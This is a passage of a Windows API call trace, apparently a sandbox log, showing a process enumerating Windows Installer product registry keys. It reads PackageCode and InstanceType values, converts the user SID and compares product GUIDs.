(in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.694] GetCurrentThreadId () returned 0xf50 [0068.694] GetCurrentThreadId () returned 0xf50 [0068.696] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.696] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.696] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.696] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.696] LocalFree (hMem=0x32f770) returned 0x0 [0068.696] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.696] GetCurrentThreadId () returned 0xf50 [0068.696] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.696] lstrlenW (lpString="{90160000-0115-0409-0000-0000000FF1CE}") returned 38 [0068.696] lstrlenW (lpString="00006109511090400000000000F01FEC") returned 32 [0068.696] GetCurrentThreadId () returned 0xf50 [0068.696] GetCurrentThreadId () returned 0xf50 [0068.696] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.696] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.696] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.696] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.697] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.697] lstrlenW (lpString="00006109511090400000000000F01FEC") returned 32 [0068.697] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.697] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109511090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.697] GetCurrentThreadId () returned 0xf50 [0068.697] GetCurrentThreadId () returned 0xf50 [0068.697] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.697] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.697] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.697] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.697] LocalFree (hMem=0x32f770) returned 0x0 [0068.697] lstrlenW (lpString="00006109511090400000000000F01FEC") returned 32 [0068.697] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.697] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109511090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.697] lstrlenW (lpString="00006109511090400000000000F01FEC") returned 32 [0068.697] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.697] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109511090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.698] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="0EEC65CEA783D0D4A9788EFA7880C70B", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.698] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.698] lstrlenW (lpString="{90160000-0115-0409-0000-0000000FF1CE}") returned 38 [0068.698] lstrlenW (lpString="00006109511090400000000000F01FEC") returned 32 [0068.698] lstrlenW (lpString="00006109511090400000000000F01FEC") returned 32 [0068.698] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.698] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109511090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.698] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.698] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.698] lstrlenW (lpString="0") returned 1 [0068.698] lstrlenW (lpString="0") returned 1 [0068.698] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.698] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{EC56CEE0-387A-4D0D-9A87-E8AF87087CB0}") returned -1 [0068.699] GetCurrentThreadId () returned 0xf50 [0068.699] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.699] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x8, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109610090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.699] GetCurrentThreadId () returned 0xf50 [0068.699] GetCurrentThreadId () returned 0xf50 [0068.699] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.699] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.699] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.699] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.699] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.699] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.699] GetCurrentThreadId () returned 0xf50 [0068.699] GetCurrentThreadId () returned 0xf50 [0068.699] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.700] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.700] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.700] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.700] LocalFree (hMem=0x32f770) returned 0x0 [0068.700] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.700] GetCurrentThreadId () returned 0xf50 [0068.700] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.700] lstrlenW (lpString="{90160000-0016-0409-0000-0000000FF1CE}") returned 38 [0068.700] lstrlenW (lpString="00006109610090400000000000F01FEC") returned 32 [0068.700] GetCurrentThreadId () returned 0xf50 [0068.700] GetCurrentThreadId () returned 0xf50 [0068.700] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.700] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.700] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.700] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.700] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.700] lstrlenW (lpString="00006109610090400000000000F01FEC") returned 32 [0068.701] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.701] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109610090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.701] GetCurrentThreadId () returned 0xf50 [0068.701] GetCurrentThreadId () returned 0xf50 [0068.701] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.701] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.701] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.701] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.701] LocalFree (hMem=0x32f770) returned 0x0 [0068.701] lstrlenW (lpString="00006109610090400000000000F01FEC") returned 32 [0068.701] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.701] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109610090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.701] lstrlenW (lpString="00006109610090400000000000F01FEC") returned 32 [0068.701] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.701] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109610090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.702] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="46804CE13B499D440B1ECC33020A65A4", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.702] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.702] lstrlenW (lpString="{90160000-0016-0409-0000-0000000FF1CE}") returned 38 [0068.702] lstrlenW (lpString="00006109610090400000000000F01FEC") returned 32 [0068.702] lstrlenW (lpString="00006109610090400000000000F01FEC") returned 32 [0068.702] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.702] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109610090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.702] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.702] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.702] lstrlenW (lpString="0") returned 1 [0068.702] lstrlenW (lpString="0") returned 1 [0068.702] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.702] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{1EC40864-94B3-44D9-B0E1-CC3320A0564A}") returned 1 [0068.702] GetCurrentThreadId () returned 0xf50 [0068.703] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.703] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x9, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109611090400100000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.703] GetCurrentThreadId () returned 0xf50 [0068.703] GetCurrentThreadId () returned 0xf50 [0068.703] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.703] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.703] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.703] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.703] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.703] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.703] GetCurrentThreadId () returned 0xf50 [0068.703] GetCurrentThreadId () returned 0xf50 [0068.703] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.703] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.704] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.704] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.704] LocalFree (hMem=0x32f770) returned 0x0 [0068.704] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.704] GetCurrentThreadId () returned 0xf50 [0068.704] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.704] lstrlenW (lpString="{90160000-0116-0409-1000-0000000FF1CE}") returned 38 [0068.704] lstrlenW (lpString="00006109611090400100000000F01FEC") returned 32 [0068.704] GetCurrentThreadId () returned 0xf50 [0068.704] GetCurrentThreadId () returned 0xf50 [0068.704] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.704] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.704] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.704] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.704] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.704] lstrlenW (lpString="00006109611090400100000000F01FEC") returned 32 [0068.704] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.705] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109611090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.705] GetCurrentThreadId () returned 0xf50 [0068.705] GetCurrentThreadId () returned 0xf50 [0068.705] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.705] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.705] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.705] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.705] LocalFree (hMem=0x32f770) returned 0x0 [0068.705] lstrlenW (lpString="00006109611090400100000000F01FEC") returned 32 [0068.705] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.705] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109611090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.705] lstrlenW (lpString="00006109611090400100000000F01FEC") returned 32 [0068.705] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.705] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109611090400100000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.705] RegQueryValueExW (in: hKey=0x1d8, 